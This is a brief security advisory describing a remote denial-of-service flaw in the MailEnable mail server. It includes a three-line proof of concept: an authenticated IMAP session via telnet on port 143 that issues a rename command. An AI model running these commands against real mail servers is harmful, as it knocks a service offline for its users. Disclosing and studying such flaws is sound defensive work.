MailEnable is prone to a remote denial of service vulnerability.

The vulnerability presents itself when a user issues a malicious rename request following authentication.

Remote attackers can exploit this issue to trigger a denial of service condition.

telnet localhost 143
a1 login josh byebye
a2 rename foo bar

where josh and byebye are the login credentials for an existing mailbox.
